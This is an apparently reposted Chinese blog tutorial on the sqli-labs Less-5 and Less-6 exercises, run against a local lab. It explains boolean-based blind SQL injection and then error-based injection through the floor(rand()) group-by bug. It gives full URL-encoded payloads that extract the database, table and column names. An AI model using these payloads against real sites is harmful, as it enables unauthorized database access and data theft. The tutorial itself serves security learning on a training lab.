Web安全-SQL注入:MySQL注入天书(5-6) Blind Injection

内容

MySQL注入天书 Less5 - Less6

布尔型盲注##########

从注入点判断到用ORDER BY 判断出列数都和前面的一样
只是想用UNION SELECT时发现页面并不回显数据库中的信息
而只是根据一个布尔值回显You are in...或者什么都不显示

这种类型的注入称为布尔型盲注 Boolean Based Blind Injection
打个比方
Error Based型注入像一个傻白甜
你问她:你现在的用户是谁啊?
她就会告诉你:是root
Boolean Based型盲注就是单纯的傻,没有白甜
你问她:你现在的用户是谁啊?
她就不说话
那你只能问:你现在的用户是root嘛?
她会回答是或不是
在这里插入图片描述在这里插入图片描述

注入点判断

单引号判断法
在这里插入图片描述所以构造payload如下

?id=1' AND your_payload %23

id需为合法id,这样做AND运算才可判断出payload的布尔值

撞数据库版本

截取version的前三个字符,判断是否等于5.6或5.7等等等等
返回Boolean值,与id的选择结果作AND
根据最终是否有回显判断payload的布尔值
在这里插入图片描述
在这里插入图片描述
这样就知道数据库版本为5.7了
当然在撞的过程中肯定会发现一个一个试太麻烦了
实际sqlmap的布尔型盲注就是做了这样一个自动化测试的工作

撞数据库名

首先撞一下数据库名的长度为8
在这里插入图片描述在这里插入图片描述

使用sqlmap做布尔型盲注猜解数据

其他payload原理类似,就是一个字:撞
Web安全-SQL注入:sqlmap布尔型盲注payload解析

报错型盲注##########

利用BUG #8652作报错型盲注

原理
Web安全-SQL注入:报错型盲注利用的BUG #8652详解
payload及简略说明
爆当前数据库

http://127.0.0.1/sqli-labs/Less-5/index.php?id=1%27%20UNION%20SELECT%201,%20COUNT(*),%20CONCAT(0x23,%200x23,%20(select%20database()),%200x23,%200x23,%20floor(rand(4)*2))%20a%20from%20information_schema.columns%20group%20by%20a%20%23

在这里插入图片描述
库中表

http://127.0.0.1/sqli-labs/Less-5/index.php?id=1%27%20UNION%20SELECT%201,%20COUNT(*),%20CONCAT(0x23,%200x23,%20((SELECT%20GROUP_CONCAT(TABLE_NAME)%20FROM%20INFORMATION_SCHEMA.TABLES%20WHERE%20TABLE_SCHEMA=%27security%27)),%200x23,%200x23,%20floor(rand(0)*2))%20a%20from%20information_schema.columns%20group%20by%20a%20%23

在这里插入图片描述
表中列

http://127.0.0.1/sqli-labs/Less-5/index.php?id=1%27%20UNION%20SELECT%201,%20COUNT(*),%20CONCAT(0x23,%200x23,%20((SELECT%20GROUP_CONCAT(COLUMN_NAME)%20FROM%20INFORMATION_SCHEMA.COLUMNS%20WHERE%20TABLE_NAME=%27users%27)),%200x23,%200x23,%20floor(rand(0)*2))%20a%20from%20information_schema.columns%20group%20by%20a%20%23

在这里插入图片描述爆列中值的时候出现了问题,使用GROUP_CONCAT并不报错,暂且留坑
在这里插入图片描述
一个一个爆吧

在这里插入图片描述其他省略

发布了61 篇原创文章 · 获赞 11 · 访问量 4860

猜你喜欢

转载自blog.csdn.net/weixin_43249758/article/details/104130699
今日推荐